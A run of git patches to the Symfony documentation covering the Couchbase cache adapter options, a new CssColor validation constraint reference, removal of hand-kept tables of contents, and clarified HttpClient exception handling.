+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $cache = new CouchbaseCollectionAdapter(
+        // the client object that sets options and adds the server instance(s)
+        $client,
+
+        // a string prefixed to the keys of the items stored in this cache
+        $namespace,
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely
+        $defaultLifetime
+    );
+
+
+Configure the Connection
+------------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method allows creating and configuring a `Couchbase Collection`_ class instance using a
+`Data Source Name (DSN)`_ or an array of DSNs::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    // pass a single DSN string to register a single server with the client
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase://localhost'
+        // the DSN can include config options (pass them as a query string):
+        // 'couchbase://localhost:11210?operationTimeout=10'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+    );
+
+    // pass an array of DSN strings to register multiple servers with the client
+    $client = CouchbaseCollectionAdapter::createConnection([
+        'couchbase://10.0.0.100',
+        'couchbase://10.0.0.101',
+        'couchbase://10.0.0.102',
+        // etc...
+    ]);
+
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase:?host[localhost]&host[localhost:12345]'
+    );
+
+
+Configure the Options
+---------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method also accepts an array of options as its second argument. The
+expected format is an associative array of ``key => value`` pairs representing
+option names and their respective values::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $client = CouchbaseCollectionAdapter::createConnection(
+        // a DSN string or an array of DSN strings
+        [],
+
+        // associative array of configuration options
+        [
+            'username' => 'xxxxxx',
+            'password' => 'yyyyyy',
+            'configTimeout' => '100',
+        ]
+    );
+
+Available Options
+~~~~~~~~~~~~~~~~~
+
+``username`` (type: ``string``)
+    Username for connection ``CouchbaseCluster``.
+
+``password`` (type: ``string``)
+    Password of connection ``CouchbaseCluster``.
+
+``operationTimeout`` (type: ``int``, default: ``2500000``)
+    The operation timeout (in microseconds) is the maximum amount of time the library will
+    wait for an operation to receive a response before invoking its callback with a failure status.
+
+``configTimeout`` (type: ``int``, default: ``5000000``)
+    How long (in microseconds) the client will wait to obtain the initial configuration.
+
+``configNodeTimeout`` (type: ``int``, default: ``2000000``)
+    Per-node configuration timeout (in microseconds).
+
+``viewTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP requests to Couchbase Views API.
+
+``httpTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP queries (management API).
+
+``configDelay`` (type: ``int``, default: ``10000``)
+    Config refresh throttling
+    Modify the amount of time (in microseconds) before the configuration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
+
+``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``)
+    Idling/Persistence for HTTP bootstrap (in microseconds).
+
+``durabilityInterval`` (type: ``int``, default: ``100000``)
+    The time (in microseconds) the client will wait between repeated probes to a given server.
+
+``durabilityTimeout`` (type: ``int``, default: ``5000000``)
+    The time (in microseconds) the client will spend sending repeated probes to a given key's vBucket masters and replicas before they are deemed not to have satisfied the durability requirements.
+
+.. tip::
+
+    Reference the `Couchbase Collection`_ extension's `predefined constants`_ documentation
+    for additional information about the available options.
+
+.. _`Couchbase PHP extension`: https://docs.couchbase.com/sdk-api/couchbase-php-client/namespaces/couchbase.html
+.. _`predefined constants`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Bucket.html
+.. _`Couchbase server`: https://couchbase.com/
+.. _`Couchbase Collection`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Collection.html
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 15084a836fd70e199a6e2a4f1f5de11e40d6e636 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:55:24 +0200
Subject: [PATCH 1207/5766] Add a versionadded directive

---
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 18367747dd4..f3aff72e6ac 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -7,6 +7,10 @@
 Couchbase Cache Adapter
 =======================
 
+.. versionadded:: 5.4
+
+    The Couchbase Cache Adapter was introduced in Symfony 5.4.
+
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's

From d18dd61ab29af7853e7055a5a7dca280be5298fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:55:59 +0200
Subject: [PATCH 1208/5766] Remove a versionadded directive

---
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index f3aff72e6ac..18367747dd4 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -7,10 +7,6 @@
 Couchbase Cache Adapter
 =======================
 
-.. versionadded:: 5.4
-
-    The Couchbase Cache Adapter was introduced in Symfony 5.4.
-
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's

From 6165c5ac01f57993bfc3c0322a5806778aa8f70a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Oct 2021 17:34:44 +0200
Subject: [PATCH 1209/5766] Fix a wrong doc redirection

---
 _build/redirection_map | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index d3bf8c60980..4ae8f1ddfcf 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -507,7 +507,7 @@
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
 /components/mailer /mailer
-/messenger/message-recorder messenger/dispatch_after_current_bus
+/messenger/message-recorder /messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /testing/functional_tests_assertions /testing#testing-application-assertions

From 5c24b623262f72a2e625aa7a1305e5c744a0f266 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Oct 2021 16:36:27 +0200
Subject: [PATCH 1210/5766] Remove some Table of Contents which are maintained
 manually

---
 reference/configuration/debug.rst        |   7 -
 reference/configuration/framework.rst    | 267 -----------------------
 reference/configuration/kernel.rst       |   7 -
 reference/configuration/swiftmailer.rst  |  30 ---
 reference/configuration/twig.rst         |  30 ---
 reference/configuration/web_profiler.rst |   6 -
 6 files changed, 347 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 33a6c656537..e77ee6e7bd6 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -25,13 +25,6 @@ key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `dump_destination`_
-* `max_items`_
-* `min_depth`_
-* `max_string_length`_
-
 max_items
 ~~~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 14b2ebf091f..53ed8c79539 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -27,273 +27,6 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `annotations`_
-
-  * :ref:`cache <reference-annotations-cache>`
-  * `debug`_
-  * `file_cache_dir`_
-
-* `assets`_
-
-  * `base_path`_
-  * `base_urls`_
-  * `json_manifest_path`_
-  * `packages`_
-  * `version_format`_
-  * `version_strategy`_
-  * `version`_
-
-* :ref:`cache <reference-cache>`
-
-  * :ref:`app <reference-cache-app>`
-  * `default_doctrine_provider`_
-  * `default_memcached_provider`_
-  * `default_pdo_provider`_
-  * `default_psr6_provider`_
-  * `default_redis_provider`_
-  * `directory`_
-  * `pools`_
-
-    * :ref:`name <reference-cache-pools-name>`
-
-      * `adapter`_
-      * `clearer`_
-      * `default_lifetime`_
-      * `provider`_
-      * `public`_
-      * `tags`_
-
-  * `prefix_seed`_
-  * `system`_
-
-* `csrf_protection`_
-
-  * :ref:`enabled <reference-csrf_protection-enabled>`
-
-* `default_locale`_
-* `disallow_search_engine_index`_
-* `error_controller`_
-* `esi`_
-
-  * :ref:`enabled <reference-esi-enabled>`
-
-* :ref:`form <reference-framework-form>`
-
-  * :ref:`enabled <reference-form-enabled>`
-
-* `fragments`_
-
-  * :ref:`enabled <reference-fragments-enabled>`
-  * `hinclude_default_template`_
-  * :ref:`path <reference-fragments-path>`
-
-* `http_client`_
-
-  * :ref:`default_options <reference-http-client-default-options>`
-
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * :ref:`headers <http-headers>`
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `resolve`_
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-  * `max_host_connections`_
-  * :ref:`scoped_clients <reference-http-client-scoped-clients>`
-
-    * `scope`_
-    * `auth_basic`_
-    * `auth_bearer`_
-    * `auth_ntlm`_
-    * `base_uri`_
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * :ref:`headers <http-headers>`
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `query`_
-    * `resolve`_
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-* `http_method_override`_
-* `ide`_
-* :ref:`lock <reference-lock>`
-
-  * :ref:`enabled <reference-lock-enabled>`
-  * :ref:`resources <reference-lock-resources>`
-
-    * :ref:`name <reference-lock-resources-name>`
-
-* `mailer`_
-
-  * :ref:`dsn <mailer-dsn>`
-  * `transports`_
-  * `envelope`_
-
-    * `sender`_
-    * `recipients`_
-
-* `php_errors`_
-
-  * `log`_
-  * `throw`_
-
-* `profiler`_
-
-  * `collect`_
-  * :ref:`dsn <profiler-dsn>`
-  * :ref:`enabled <reference-profiler-enabled>`
-  * `only_exceptions`_
-  * `only_master_requests`_
-
-* `property_access`_
-
-  * `magic_call`_
-  * `throw_exception_on_invalid_index`_
-  * `throw_exception_on_invalid_property_path`_
-
-* `property_info`_
-
-  * :ref:`enabled <reference-property-info-enabled>`
-
-* `request`_:
-
-  * `formats`_
-
-* `router`_
-
-  * `http_port`_
-  * `https_port`_
-  * `resource`_
-  * `strict_requirements`_
-  * :ref:`type <reference-router-type>`
-  * `utf8`_
-
-* `secret`_
-* `secrets`_
-
-  * `decryption_env_var`_
-  * `local_dotenv_file`_
-  * `vault_directory`_
-
-* `serializer`_
-
-  * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>`
-  * :ref:`enable_annotations <reference-serializer-enable_annotations>`
-  * :ref:`enabled <reference-serializer-enabled>`
-  * :ref:`mapping <reference-serializer-mapping>`
-
-    * :ref:`paths <reference-serializer-mapping-paths>`
-
-  * :ref:`name_converter <reference-serializer-name_converter>`
-
-* `session`_
-
-  * `cache_limiter`_
-  * `cookie_domain`_
-  * `cookie_httponly`_
-  * `cookie_lifetime`_
-  * `cookie_path`_
-  * `cookie_samesite`_
-  * `cookie_secure`_
-  * :ref:`enabled <reference-session-enabled>`
-  * `gc_divisor`_
-  * `gc_maxlifetime`_
-  * `gc_probability`_
-  * `handler_id`_
-  * `metadata_update_threshold`_
-  * `name`_
-  * `save_path`_
-  * `sid_length`_
-  * `sid_bits_per_character`_
-  * `storage_id`_
-  * `use_cookies`_
-
-* `templating`_
-
-  * :ref:`cache <reference-templating-cache>`
-  * `engines`_
-  * :ref:`form <reference-templating-form>`
-
-    * :ref:`resources <reference-templating-form-resources>`
-
-  * `loaders`_
-
-* `test`_
-* `translator`_
-
-  * `cache_dir`_
-  * :ref:`default_path <reference-translator-default_path>`
-  * :ref:`enabled <reference-translator-enabled>`
-  * `fallbacks`_
-  * `formatter`_
-  * `logging`_
-  * :ref:`paths <reference-translator-paths>`
-
-* `trusted_hosts`_
-* `trusted_proxies`_
-* `validation`_
-
-  * :ref:`cache <reference-validation-cache>`
-  * `email_validation_mode`_
-  * :ref:`enable_annotations <reference-validation-enable_annotations>`
-  * :ref:`enabled <reference-validation-enabled>`
-  * :ref:`mapping <reference-validation-mapping>`
-
-    * :ref:`paths <reference-validation-mapping-paths>`
-
-  * :ref:`not_compromised_password <reference-validation-not-compromised-password>`
-
-    * :ref:`enabled <reference-validation-not-compromised-password-enabled>`
-    * `endpoint`_
-
-  * `static_method`_
-  * `strict_email`_
-  * `translation_domain`_
-
-* `web_link`_
-* `workflows`_
-
-  * :ref:`enabled <reference-workflows-enabled>`
-  * :ref:`name <reference-workflows-name>`
-
-    * `audit_trail`_
-    * `initial_marking`_
-    * `marking_store`_
-    * `metadata`_
-    * `places`_
-    * `supports`_
-    * `support_strategy`_
-    * `transitions`_
-    * :ref:`type <reference-workflows-type>`
-
 secret
 ~~~~~~
 
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 5cb1f8ea781..1c57afed784 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -11,13 +11,6 @@ the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
 Configuration
 -------------
 
-* `Charset`_
-* `Kernel Name`_
-* `Project Directory`_
-* `Cache Directory`_
-* `Log Directory`_
-* `Container Build Time`_
-
 .. _configuration-kernel-charset:
 
 Charset
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index a83e86aa651..f88a28aaf29 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -25,36 +25,6 @@ to :doc:`send emails </email>`. All these options are configured under the
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `antiflood`_
-
-  * `sleep`_
-  * `threshold`_
-
-* `auth_mode`_
-* `command`_
-* `delivery_addresses`_
-* `delivery_whitelist`_
-* `disable_delivery`_
-* `encryption`_
-* `host`_
-* `local_domain`_
-* `logging`_
-* `password`_
-* `port`_
-* `sender_address`_
-* `source_ip`_
-* `spool`_
-
-  * `path`_
-  * `type`_
-
-* `timeout`_
-* `transport`_
-* `url`_
-* `username`_
-
 url
 ~~~
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 5fc8b95313c..40708ce2fd9 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -25,36 +25,6 @@ under the ``twig`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `auto_reload`_
-* `autoescape`_
-* `autoescape_service`_
-* `autoescape_service_method`_
-* `base_template_class`_
-* `cache`_
-* `charset`_
-* `date`_
-
-  * `format`_
-  * `interval_format`_
-  * `timezone`_
-
-* `debug`_
-* `default_path`_
-* `exception_controller`_
-* `form_themes`_
-* `globals`_
-* `number_format`_
-
-  * `decimals`_
-  * `decimal_point`_
-  * `thousands_separator`_
-
-* `optimizations`_
-* `paths`_
-* `strict_variables`_
-
 auto_reload
 ~~~~~~~~~~~
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 83f92e215a5..9d3ddb088f5 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,12 +30,6 @@ under the ``web_profiler`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `excluded_ajax_paths`_
-* `intercept_redirects`_
-* `toolbar`_
-
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 

From 6d538e5e1002db8de2f22568124a0e676a94b231 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 7 Oct 2021 20:24:05 +0200
Subject: [PATCH 1211/5766] [Form] Add missing "extends AbstractType"

---
 form/form_themes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index 1b5a3594a2d..92f08b5de4b 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -337,7 +337,7 @@ following complex example where a ``TaskManagerType`` has a collection of
         }
     }
 
-    class TaskType
+    class TaskType extends AbstractType
     {
         public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {

From fc1539ce76316e68f884e47824baf902eef3b9dd Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Fri, 12 Feb 2021 16:48:14 +0100
Subject: [PATCH 1212/5766] Added CssColor constraint

---
 reference/constraints.rst          |   1 +
 reference/constraints/CssColor.rst | 270 +++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc  |   1 +
 3 files changed, 272 insertions(+)
 create mode 100644 reference/constraints/CssColor.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 56acb087114..34ed5d08dab 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -76,6 +76,7 @@ Validation Constraints Reference
    constraints/NotCompromisedPassword
    constraints/Valid
    constraints/Traverse
+   constraints/CssColor
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
new file mode 100644
index 00000000000..894325cb2e4
--- /dev/null
+++ b/reference/constraints/CssColor.rst
@@ -0,0 +1,270 @@
+CssColor
+=========
+
+Validates that a value is a valid CSS color. The underlying value is
+casted to a string before being validated.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `formats`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\CssColor`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            /**
+             * @Assert\CssColor(
+             *     formats = { Assert\CssColor::HEX_LONG }
+             *     message = "The color '{{ value }}' is not a valid CSS color."
+             * )
+             */
+            protected $defaultColor;
+
+            /**
+             * @Assert\CssColor(
+             *     formats = Assert\CssColor::BASIC_NAMED_COLORS
+             *     message = "The color '{{ value }}' is not a valid CSS color."
+             * )
+             */
+            protected $currentColor;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            #[Assert\CssColor(
+                formats: [Assert\CssColor::HEX_LONG]
+                message: 'The color '{{ value }}' is not a valid CSS color.',
+            )]
+            protected $defaultColor;
+
+            #[Assert\CssColor(
+                formats: Assert\CssColor::BASIC_NAMED_COLORS
+                message: 'The color '{{ value }}' is not a valid CSS color.',
+            )]
+            protected $currentColor;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Bulb:
+            properties:
+                defaultColor:
+                    - CssColor:
+                        formats: [ !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG ]
+                        message: The color "{{ value }}" is not a valid CSS color.
+                currentColor:
+                    - CssColor:
+                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
+                        message: The color "{{ value }}" is not a valid CSS color.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Bulb">
+                <property name="currentColor">
+                    <constraint name="CssColor">
+                        <option name="formats">
+                            <value>hex_long</value>
+                        </option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                    </constraint>
+                </property>
+                <property name="defaultColor">
+                    <constraint name="CssColor">
+                        <option name="formats">basic_named_colors</option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Bulb
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor([
+                    'formats' => [Assert\CssColor::HEX_LONG],
+                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                ]));
+
+                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
+                    'formats' => Assert\CssColor::BASIC_NAMED_COLORS,
+                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                ]));
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CSS color.``
+
+This message is shown if the underlying data is not a valid CSS color.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+formats
+~~~~~~~
+
+**type**: ``string`` | ``array``
+
+This option is optional and defines the pattern the CSS color is validated against.
+Valid values are:
+
+* ``hex_long``
+* ``hex_long_with_alpha``
+* ``hex_short``
+* ``hex_short_with_alpha``
+* ``basic_named_colors``
+* ``extended_named_colors``
+* ``system_colors``
+* ``keywords``
+* ``rgb``
+* ``rgba``
+* ``hsl``
+* ``hsla``
+
+hex_long
+........
+
+A regular expression. Allows all values which represent a CSS color
+of 6 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#2F2F2F``, ``#2f2f2f``
+
+hex_long_with_alpha
+...................
+
+A regular expression. Allows all values which represent a CSS color with alpha part
+of 8 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#2F2F2F80``, ``#2f2f2f80``
+
+hex_short
+.........
+
+A regular expression. Allows all values which represent a CSS color
+of strictly 3 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#CCC``, ``#ccc``
+
+hex_short_with_alpha
+....................
+
+A regular expression. Allows all values which represent a CSS color with alpha part
+of strictly 4 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#CCC8``, ``#ccc8``
+
+basic_named_colors
+..................
+
+Accordingly to the `W3C list of basic named colors`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``black``, ``red``, ``green``
+
+extended_named_colors
+.....................
+
+Accordingly to the `W3C list of extended named colors`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``aqua``, ``brown``, ``chocolate``
+
+system_colors
+.............
+
+Accordingly to the `CSS WG list of system colors`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText``
+
+keywords
+........
+
+Accordingly to the `CSS WG list of keywords`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``transparent``, ``currentColor``
+
+rgb
+...
+
+A regular expression. Allows all values which represent a CSS color following th RGB notation, with or without space between values.
+
+Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)``
+
+rgba
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha part following th RGB notation, with or without space between values.
+
+Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)``
+
+hsl
+...
+
+A regular expression. Allows all values which represent a CSS color following th HSL notation, with or without space between values.
+
+Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)``
+
+hsla
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha part following th HSLA notation, with or without space between values.
+
+Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)``
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`W3C list of basic named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Basic_Colors
+.. _`W3C list of extended named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Extended_colors
+.. _`CSS WG list of system colors`: https://drafts.csswg.org/css-color/#css-system-colors
+.. _`CSS WG list of keywords`: https://drafts.csswg.org/css-color/#transparent-color
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 020e84cde65..d6b974cefb3 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -27,6 +27,7 @@ String Constraints
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From c4fb582f7fa02eb54c9b57003660354a1e0d2559 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Fri, 8 Oct 2021 11:21:09 +0200
Subject: [PATCH 1213/5766] Clarify what error handling is for http-client

---
 http_client.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6055fa7540c..0054f7c866e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -965,8 +965,9 @@ responses in an array::
 This behavior provided at destruction-time is part of the fail-safe design of the
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
-the error-handling code, you will opt-out from these fallback mechanisms as the
-destructor won't have anything remaining to do.
+the error-handling code (by calling ``$response->getStatusCode()``), you will
+opt-out from these fallback mechanisms as the destructor won't have anything 
+remaining to do.
 
 There are three types of exceptions:
 

From 9f7631bc4d118c1f9424bced3872452e6c8eea23 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Fri, 8 Oct 2021 11:31:30 +0200
Subject: [PATCH 1214/5766] Clarify which is the top level exception for http
 client if you want to catch everything

---
 http_client.rst | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6055fa7540c..edd68beddb7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -924,10 +924,22 @@ In case the response was canceled using ``$response->cancel()``,
 Handling Exceptions
 ~~~~~~~~~~~~~~~~~~~
 
+There are three types of exceptions, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\ExceptionInterface`:
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
+  are thrown when your code does not handle the status codes in the 300-599 range.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+  are thrown when a lower level issue occurs.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
+  are thrown when a content-type cannot be decoded to the expected representation.
+
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
 4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, all of
-which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
+``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, which will
+implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
 
     // the response of this request will be a 403 HTTP error
     $response = $client->request('GET', 'https://httpbin.org/status/403');
@@ -968,17 +980,6 @@ errors, exceptions will notify you when needed. On the other hand, if you write
 the error-handling code, you will opt-out from these fallback mechanisms as the
 destructor won't have anything remaining to do.
 
-There are three types of exceptions:
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
-  are thrown when your code does not handle the status codes in the 300-599 range.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
-  are thrown when a lower level issue occurs.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
-  are thrown when a content-type cannot be decoded to the expected representation.
-
 Concurrent Requests
 -------------------
 

